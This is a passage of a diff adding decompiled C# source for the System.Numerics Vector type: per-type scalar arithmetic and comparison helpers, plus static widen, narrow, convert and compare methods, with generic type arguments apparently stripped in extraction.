(byte)Math.Sqrt((int)value.register.byte_0); + value.register.byte_1 = (byte)Math.Sqrt((int)value.register.byte_1); + value.register.byte_2 = (byte)Math.Sqrt((int)value.register.byte_2); + value.register.byte_3 = (byte)Math.Sqrt((int)value.register.byte_3); + value.register.byte_4 = (byte)Math.Sqrt((int)value.register.byte_4); + value.register.byte_5 = (byte)Math.Sqrt((int)value.register.byte_5); + value.register.byte_6 = (byte)Math.Sqrt((int)value.register.byte_6); + value.register.byte_7 = (byte)Math.Sqrt((int)value.register.byte_7); + value.register.byte_8 = (byte)Math.Sqrt((int)value.register.byte_8); + value.register.byte_9 = (byte)Math.Sqrt((int)value.register.byte_9); + value.register.byte_10 = (byte)Math.Sqrt((int)value.register.byte_10); + value.register.byte_11 = (byte)Math.Sqrt((int)value.register.byte_11); + value.register.byte_12 = (byte)Math.Sqrt((int)value.register.byte_12); + value.register.byte_13 = (byte)Math.Sqrt((int)value.register.byte_13); + value.register.byte_14 = (byte)Math.Sqrt((int)value.register.byte_14); + value.register.byte_15 = (byte)Math.Sqrt((int)value.register.byte_15); + return value; + } + if (typeof(T) == typeof(sbyte)) + { + value.register.sbyte_0 = (sbyte)Math.Sqrt(value.register.sbyte_0); + value.register.sbyte_1 = (sbyte)Math.Sqrt(value.register.sbyte_1); + value.register.sbyte_2 = (sbyte)Math.Sqrt(value.register.sbyte_2); + value.register.sbyte_3 = (sbyte)Math.Sqrt(value.register.sbyte_3); + value.register.sbyte_4 = (sbyte)Math.Sqrt(value.register.sbyte_4); + value.register.sbyte_5 = (sbyte)Math.Sqrt(value.register.sbyte_5); + value.register.sbyte_6 = (sbyte)Math.Sqrt(value.register.sbyte_6); + value.register.sbyte_7 = (sbyte)Math.Sqrt(value.register.sbyte_7); + value.register.sbyte_8 = (sbyte)Math.Sqrt(value.register.sbyte_8); + value.register.sbyte_9 = (sbyte)Math.Sqrt(value.register.sbyte_9); + value.register.sbyte_10 = (sbyte)Math.Sqrt(value.register.sbyte_10); + value.register.sbyte_11 = (sbyte)Math.Sqrt(value.register.sbyte_11); + value.register.sbyte_12 = (sbyte)Math.Sqrt(value.register.sbyte_12); + value.register.sbyte_13 = (sbyte)Math.Sqrt(value.register.sbyte_13); + value.register.sbyte_14 = (sbyte)Math.Sqrt(value.register.sbyte_14); + value.register.sbyte_15 = (sbyte)Math.Sqrt(value.register.sbyte_15); + return value; + } + if (typeof(T) == typeof(ushort)) + { + value.register.uint16_0 = (ushort)Math.Sqrt((int)value.register.uint16_0); + value.register.uint16_1 = (ushort)Math.Sqrt((int)value.register.uint16_1); + value.register.uint16_2 = (ushort)Math.Sqrt((int)value.register.uint16_2); + value.register.uint16_3 = (ushort)Math.Sqrt((int)value.register.uint16_3); + value.register.uint16_4 = (ushort)Math.Sqrt((int)value.register.uint16_4); + value.register.uint16_5 = (ushort)Math.Sqrt((int)value.register.uint16_5); + value.register.uint16_6 = (ushort)Math.Sqrt((int)value.register.uint16_6); + value.register.uint16_7 = (ushort)Math.Sqrt((int)value.register.uint16_7); + return value; + } + if (typeof(T) == typeof(short)) + { + value.register.int16_0 = (short)Math.Sqrt(value.register.int16_0); + value.register.int16_1 = (short)Math.Sqrt(value.register.int16_1); + value.register.int16_2 = (short)Math.Sqrt(value.register.int16_2); + value.register.int16_3 = (short)Math.Sqrt(value.register.int16_3); + value.register.int16_4 = (short)Math.Sqrt(value.register.int16_4); + value.register.int16_5 = (short)Math.Sqrt(value.register.int16_5); + value.register.int16_6 = (short)Math.Sqrt(value.register.int16_6); + value.register.int16_7 = (short)Math.Sqrt(value.register.int16_7); + return value; + } + if (typeof(T) == typeof(uint)) + { + value.register.uint32_0 = (uint)Math.Sqrt(value.register.uint32_0); + value.register.uint32_1 = (uint)Math.Sqrt(value.register.uint32_1); + value.register.uint32_2 = (uint)Math.Sqrt(value.register.uint32_2); + value.register.uint32_3 = (uint)Math.Sqrt(value.register.uint32_3); + return value; + } + if (typeof(T) == typeof(int)) + { + value.register.int32_0 = (int)Math.Sqrt(value.register.int32_0); + value.register.int32_1 = (int)Math.Sqrt(value.register.int32_1); + value.register.int32_2 = (int)Math.Sqrt(value.register.int32_2); + value.register.int32_3 = (int)Math.Sqrt(value.register.int32_3); + return value; + } + if (typeof(T) == typeof(ulong)) + { + value.register.uint64_0 = (ulong)Math.Sqrt(value.register.uint64_0); + value.register.uint64_1 = (ulong)Math.Sqrt(value.register.uint64_1); + return value; + } + if (typeof(T) == typeof(long)) + { + value.register.int64_0 = (long)Math.Sqrt(value.register.int64_0); + value.register.int64_1 = (long)Math.Sqrt(value.register.int64_1); + return value; + } + if (typeof(T) == typeof(float)) + { + value.register.single_0 = (float)Math.Sqrt(value.register.single_0); + value.register.single_1 = (float)Math.Sqrt(value.register.single_1); + value.register.single_2 = (float)Math.Sqrt(value.register.single_2); + value.register.single_3 = (float)Math.Sqrt(value.register.single_3); + return value; + } + if (typeof(T) == typeof(double)) + { + value.register.double_0 = Math.Sqrt(value.register.double_0); + value.register.double_1 = Math.Sqrt(value.register.double_1); + return value; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool ScalarEquals(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (byte)(object)left == (byte)(object)right; + } + if (typeof(T) == typeof(sbyte)) + { + return (sbyte)(object)left == (sbyte)(object)right; + } + if (typeof(T) == typeof(ushort)) + { + return (ushort)(object)left == (ushort)(object)right; + } + if (typeof(T) == typeof(short)) + { + return (short)(object)left == (short)(object)right; + } + if (typeof(T) == typeof(uint)) + { + return (uint)(object)left == (uint)(object)right; + } + if (typeof(T) == typeof(int)) + { + return (int)(object)left == (int)(object)right; + } + if (typeof(T) == typeof(ulong)) + { + return (ulong)(object)left == (ulong)(object)right; + } + if (typeof(T) == typeof(long)) + { + return (long)(object)left == (long)(object)right; + } + if (typeof(T) == typeof(float)) + { + return (float)(object)left == (float)(object)right; + } + if (typeof(T) == typeof(double)) + { + return (double)(object)left == (double)(object)right; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool ScalarLessThan(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (byte)(object)left < (byte)(object)right; + } + if (typeof(T) == typeof(sbyte)) + { + return (sbyte)(object)left < (sbyte)(object)right; + } + if (typeof(T) == typeof(ushort)) + { + return (ushort)(object)left < (ushort)(object)right; + } + if (typeof(T) == typeof(short)) + { + return (short)(object)left < (short)(object)right; + } + if (typeof(T) == typeof(uint)) + { + return (uint)(object)left < (uint)(object)right; + } + if (typeof(T) == typeof(int)) + { + return (int)(object)left < (int)(object)right; + } + if (typeof(T) == typeof(ulong)) + { + return (ulong)(object)left < (ulong)(object)right; + } + if (typeof(T) == typeof(long)) + { + return (long)(object)left < (long)(object)right; + } + if (typeof(T) == typeof(float)) + { + return (float)(object)left < (float)(object)right; + } + if (typeof(T) == typeof(double)) + { + return (double)(object)left < (double)(object)right; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static bool ScalarGreaterThan(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (byte)(object)left > (byte)(object)right; + } + if (typeof(T) == typeof(sbyte)) + { + return (sbyte)(object)left > (sbyte)(object)right; + } + if (typeof(T) == typeof(ushort)) + { + return (ushort)(object)left > (ushort)(object)right; + } + if (typeof(T) == typeof(short)) + { + return (short)(object)left > (short)(object)right; + } + if (typeof(T) == typeof(uint)) + { + return (uint)(object)left > (uint)(object)right; + } + if (typeof(T) == typeof(int)) + { + return (int)(object)left > (int)(object)right; + } + if (typeof(T) == typeof(ulong)) + { + return (ulong)(object)left > (ulong)(object)right; + } + if (typeof(T) == typeof(long)) + { + return (long)(object)left > (long)(object)right; + } + if (typeof(T) == typeof(float)) + { + return (float)(object)left > (float)(object)right; + } + if (typeof(T) == typeof(double)) + { + return (double)(object)left > (double)(object)right; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static T ScalarAdd(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (T)(object)(byte)((byte)(object)left + (byte)(object)right); + } + if (typeof(T) == typeof(sbyte)) + { + return (T)(object)(sbyte)((sbyte)(object)left + (sbyte)(object)right); + } + if (typeof(T) == typeof(ushort)) + { + return (T)(object)(ushort)((ushort)(object)left + (ushort)(object)right); + } + if (typeof(T) == typeof(short)) + { + return (T)(object)(short)((short)(object)left + (short)(object)right); + } + if (typeof(T) == typeof(uint)) + { + return (T)(object)((uint)(object)left + (uint)(object)right); + } + if (typeof(T) == typeof(int)) + { + return (T)(object)((int)(object)left + (int)(object)right); + } + if (typeof(T) == typeof(ulong)) + { + return (T)(object)((ulong)(object)left + (ulong)(object)right); + } + if (typeof(T) == typeof(long)) + { + return (T)(object)((long)(object)left + (long)(object)right); + } + if (typeof(T) == typeof(float)) + { + return (T)(object)((float)(object)left + (float)(object)right); + } + if (typeof(T) == typeof(double)) + { + return (T)(object)((double)(object)left + (double)(object)right); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static T ScalarSubtract(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (T)(object)(byte)((byte)(object)left - (byte)(object)right); + } + if (typeof(T) == typeof(sbyte)) + { + return (T)(object)(sbyte)((sbyte)(object)left - (sbyte)(object)right); + } + if (typeof(T) == typeof(ushort)) + { + return (T)(object)(ushort)((ushort)(object)left - (ushort)(object)right); + } + if (typeof(T) == typeof(short)) + { + return (T)(object)(short)((short)(object)left - (short)(object)right); + } + if (typeof(T) == typeof(uint)) + { + return (T)(object)((uint)(object)left - (uint)(object)right); + } + if (typeof(T) == typeof(int)) + { + return (T)(object)((int)(object)left - (int)(object)right); + } + if (typeof(T) == typeof(ulong)) + { + return (T)(object)((ulong)(object)left - (ulong)(object)right); + } + if (typeof(T) == typeof(long)) + { + return (T)(object)((long)(object)left - (long)(object)right); + } + if (typeof(T) == typeof(float)) + { + return (T)(object)((float)(object)left - (float)(object)right); + } + if (typeof(T) == typeof(double)) + { + return (T)(object)((double)(object)left - (double)(object)right); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static T ScalarMultiply(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (T)(object)(byte)((byte)(object)left * (byte)(object)right); + } + if (typeof(T) == typeof(sbyte)) + { + return (T)(object)(sbyte)((sbyte)(object)left * (sbyte)(object)right); + } + if (typeof(T) == typeof(ushort)) + { + return (T)(object)(ushort)((ushort)(object)left * (ushort)(object)right); + } + if (typeof(T) == typeof(short)) + { + return (T)(object)(short)((short)(object)left * (short)(object)right); + } + if (typeof(T) == typeof(uint)) + { + return (T)(object)((uint)(object)left * (uint)(object)right); + } + if (typeof(T) == typeof(int)) + { + return (T)(object)((int)(object)left * (int)(object)right); + } + if (typeof(T) == typeof(ulong)) + { + return (T)(object)((ulong)(object)left * (ulong)(object)right); + } + if (typeof(T) == typeof(long)) + { + return (T)(object)((long)(object)left * (long)(object)right); + } + if (typeof(T) == typeof(float)) + { + return (T)(object)((float)(object)left * (float)(object)right); + } + if (typeof(T) == typeof(double)) + { + return (T)(object)((double)(object)left * (double)(object)right); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static T ScalarDivide(T left, T right) + { + if (typeof(T) == typeof(byte)) + { + return (T)(object)(byte)((byte)(object)left / (byte)(object)right); + } + if (typeof(T) == typeof(sbyte)) + { + return (T)(object)(sbyte)((sbyte)(object)left / (sbyte)(object)right); + } + if (typeof(T) == typeof(ushort)) + { + return (T)(object)(ushort)((ushort)(object)left / (ushort)(object)right); + } + if (typeof(T) == typeof(short)) + { + return (T)(object)(short)((short)(object)left / (short)(object)right); + } + if (typeof(T) == typeof(uint)) + { + return (T)(object)((uint)(object)left / (uint)(object)right); + } + if (typeof(T) == typeof(int)) + { + return (T)(object)((int)(object)left / (int)(object)right); + } + if (typeof(T) == typeof(ulong)) + { + return (T)(object)((ulong)(object)left / (ulong)(object)right); + } + if (typeof(T) == typeof(long)) + { + return (T)(object)((long)(object)left / (long)(object)right); + } + if (typeof(T) == typeof(float)) + { + return (T)(object)((float)(object)left / (float)(object)right); + } + if (typeof(T) == typeof(double)) + { + return (T)(object)((double)(object)left / (double)(object)right); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static T GetOneValue() + { + if (typeof(T) == typeof(byte)) + { + byte b = 1; + return (T)(object)b; + } + if (typeof(T) == typeof(sbyte)) + { + sbyte b2 = 1; + return (T)(object)b2; + } + if (typeof(T) == typeof(ushort)) + { + ushort num = 1; + return (T)(object)num; + } + if (typeof(T) == typeof(short)) + { + short num2 = 1; + return (T)(object)num2; + } + if (typeof(T) == typeof(uint)) + { + uint num3 = 1u; + return (T)(object)num3; + } + if (typeof(T) == typeof(int)) + { + int num4 = 1; + return (T)(object)num4; + } + if (typeof(T) == typeof(ulong)) + { + ulong num5 = 1uL; + return (T)(object)num5; + } + if (typeof(T) == typeof(long)) + { + long num6 = 1L; + return (T)(object)num6; + } + if (typeof(T) == typeof(float)) + { + float num7 = 1f; + return (T)(object)num7; + } + if (typeof(T) == typeof(double)) + { + double num8 = 1.0; + return (T)(object)num8; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static T GetAllBitsSetValue() + { + if (typeof(T) == typeof(byte)) + { + return (T)(object)ConstantHelper.GetByteWithAllBitsSet(); + } + if (typeof(T) == typeof(sbyte)) + { + return (T)(object)ConstantHelper.GetSByteWithAllBitsSet(); + } + if (typeof(T) == typeof(ushort)) + { + return (T)(object)ConstantHelper.GetUInt16WithAllBitsSet(); + } + if (typeof(T) == typeof(short)) + { + return (T)(object)ConstantHelper.GetInt16WithAllBitsSet(); + } + if (typeof(T) == typeof(uint)) + { + return (T)(object)ConstantHelper.GetUInt32WithAllBitsSet(); + } + if (typeof(T) == typeof(int)) + { + return (T)(object)ConstantHelper.GetInt32WithAllBitsSet(); + } + if (typeof(T) == typeof(ulong)) + { + return (T)(object)ConstantHelper.GetUInt64WithAllBitsSet(); + } + if (typeof(T) == typeof(long)) + { + return (T)(object)ConstantHelper.GetInt64WithAllBitsSet(); + } + if (typeof(T) == typeof(float)) + { + return (T)(object)ConstantHelper.GetSingleWithAllBitsSet(); + } + if (typeof(T) == typeof(double)) + { + return (T)(object)ConstantHelper.GetDoubleWithAllBitsSet(); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } +} +[System.Runtime.CompilerServices.Intrinsic] +public static class Vector +{ + public static bool IsHardwareAccelerated + { + [System.Runtime.CompilerServices.Intrinsic] + get + { + return false; + } + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + ushort* ptr = stackalloc ushort[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + ushort* ptr2 = stackalloc ushort[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + uint* ptr = stackalloc uint[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + uint* ptr2 = stackalloc uint[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + ulong* ptr = stackalloc ulong[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + ulong* ptr2 = stackalloc ulong[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + short* ptr = stackalloc short[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + short* ptr2 = stackalloc short[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + int* ptr = stackalloc int[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + int* ptr2 = stackalloc int[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + long* ptr = stackalloc long[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + long* ptr2 = stackalloc long[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static void Widen(Vector source, out Vector low, out Vector high) + { + int count = Vector.Count; + double* ptr = stackalloc double[count / 2]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = source[i]; + } + double* ptr2 = stackalloc double[count / 2]; + for (int j = 0; j < count / 2; j++) + { + ptr2[j] = source[j + count / 2]; + } + low = new Vector(ptr); + high = new Vector(ptr2); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + byte* ptr = stackalloc byte[(int)(uint)count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (byte)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (byte)high[j]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + ushort* ptr = stackalloc ushort[count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (ushort)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (ushort)high[j]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + uint* ptr = stackalloc uint[count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (uint)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (uint)high[j]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + sbyte* ptr = stackalloc sbyte[(int)(uint)count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (sbyte)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (sbyte)high[j]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + short* ptr = stackalloc short[count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (short)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (short)high[j]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + int* ptr = stackalloc int[count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (int)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (int)high[j]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector Narrow(Vector low, Vector high) + { + int count = Vector.Count; + float* ptr = stackalloc float[count]; + for (int i = 0; i < count / 2; i++) + { + ptr[i] = (float)low[i]; + } + for (int j = 0; j < count / 2; j++) + { + ptr[j + count / 2] = (float)high[j]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToSingle(Vector value) + { + int count = Vector.Count; + float* ptr = stackalloc float[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = value[i]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToSingle(Vector value) + { + int count = Vector.Count; + float* ptr = stackalloc float[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = value[i]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToDouble(Vector value) + { + int count = Vector.Count; + double* ptr = stackalloc double[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = value[i]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToDouble(Vector value) + { + int count = Vector.Count; + double* ptr = stackalloc double[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = value[i]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToInt32(Vector value) + { + int count = Vector.Count; + int* ptr = stackalloc int[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = (int)value[i]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToUInt32(Vector value) + { + int count = Vector.Count; + uint* ptr = stackalloc uint[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = (uint)value[i]; + } + return new Vector(ptr); + } + + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToInt64(Vector value) + { + int count = Vector.Count; + long* ptr = stackalloc long[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = (long)value[i]; + } + return new Vector(ptr); + } + + [CLSCompliant(false)] + [System.Runtime.CompilerServices.Intrinsic] + public unsafe static Vector ConvertToUInt64(Vector value) + { + int count = Vector.Count; + ulong* ptr = stackalloc ulong[count]; + for (int i = 0; i < count; i++) + { + ptr[i] = (ulong)value[i]; + } + return new Vector(ptr); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector ConditionalSelect(Vector condition, Vector left, Vector right) + { + return Vector.ConditionalSelect((Vector)condition, left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector ConditionalSelect(Vector condition, Vector left, Vector right) + { + return Vector.ConditionalSelect((Vector)condition, left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector ConditionalSelect(Vector condition, Vector left, Vector right) where T : struct + { + return Vector.ConditionalSelect(condition, left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Equals(Vector left, Vector right) where T : struct + { + return Vector.Equals(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Equals(Vector left, Vector right) + { + return (Vector)Vector.Equals(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Equals(Vector left, Vector right) + { + return Vector.Equals(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Equals(Vector left, Vector right) + { + return (Vector)Vector.Equals(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Equals(Vector left, Vector right) + { + return Vector.Equals(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool EqualsAll(Vector left, Vector right) where T : struct + { + return left == right; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool EqualsAny(Vector left, Vector right) where T : struct + { + return !Vector.Equals(left, right).Equals(Vector.Zero); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThan(Vector left, Vector right) where T : struct + { + return Vector.LessThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThan(Vector left, Vector right) + { + return (Vector)Vector.LessThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThan(Vector left, Vector right) + { + return Vector.LessThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThan(Vector left, Vector right) + { + return (Vector)Vector.LessThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThan(Vector left, Vector right) + { + return Vector.LessThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool LessThanAll(Vector left, Vector right) where T : struct + { + return ((Vector)Vector.LessThan(left, right)).Equals(Vector.AllOnes); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool LessThanAny(Vector left, Vector right) where T : struct + { + return !((Vector)Vector.LessThan(left, right)).Equals(Vector.Zero); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThanOrEqual(Vector left, Vector right) where T : struct + { + return Vector.LessThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThanOrEqual(Vector left, Vector right) + { + return (Vector)Vector.LessThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThanOrEqual(Vector left, Vector right) + { + return Vector.LessThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThanOrEqual(Vector left, Vector right) + { + return Vector.LessThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector LessThanOrEqual(Vector left, Vector right) + { + return (Vector)Vector.LessThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool LessThanOrEqualAll(Vector left, Vector right) where T : struct + { + return ((Vector)Vector.LessThanOrEqual(left, right)).Equals(Vector.AllOnes); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool LessThanOrEqualAny(Vector left, Vector right) where T : struct + { + return !((Vector)Vector.LessThanOrEqual(left, right)).Equals(Vector.Zero); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThan(Vector left, Vector right) where T : struct + { + return Vector.GreaterThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThan(Vector left, Vector right) + { + return (Vector)Vector.GreaterThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThan(Vector left, Vector right) + { + return Vector.GreaterThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThan(Vector left, Vector right) + { + return (Vector)Vector.GreaterThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThan(Vector left, Vector right) + { + return Vector.GreaterThan(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool GreaterThanAll(Vector left, Vector right) where T : struct + { + return ((Vector)Vector.GreaterThan(left, right)).Equals(Vector.AllOnes); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool GreaterThanAny(Vector left, Vector right) where T : struct + { + return !((Vector)Vector.GreaterThan(left, right)).Equals(Vector.Zero); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThanOrEqual(Vector left, Vector right) where T : struct + { + return Vector.GreaterThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThanOrEqual(Vector left, Vector right) + { + return (Vector)Vector.GreaterThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThanOrEqual(Vector left, Vector right) + { + return Vector.GreaterThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThanOrEqual(Vector left, Vector right) + { + return Vector.GreaterThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector GreaterThanOrEqual(Vector left, Vector right) + { + return (Vector)Vector.GreaterThanOrEqual(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool GreaterThanOrEqualAll(Vector left, Vector right) where T : struct + { + return ((Vector)Vector.GreaterThanOrEqual(left, right)).Equals(Vector.AllOnes); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static bool GreaterThanOrEqualAny(Vector left, Vector right) where T : struct + { + return !((Vector)Vector.GreaterThanOrEqual(left, right)).Equals(Vector.Zero); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Abs(Vector value) where T : struct + { + return Vector.Abs(value); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Min(Vector left, Vector right) where T : struct + { + return Vector.Min(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static Vector Max(Vector left, Vector right) where T : struct + { + return Vector.Max(left, right); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public static T Dot(Vector left, Vector right) where T : struct + { + return Vector.DotProduct(left, right); + } + + 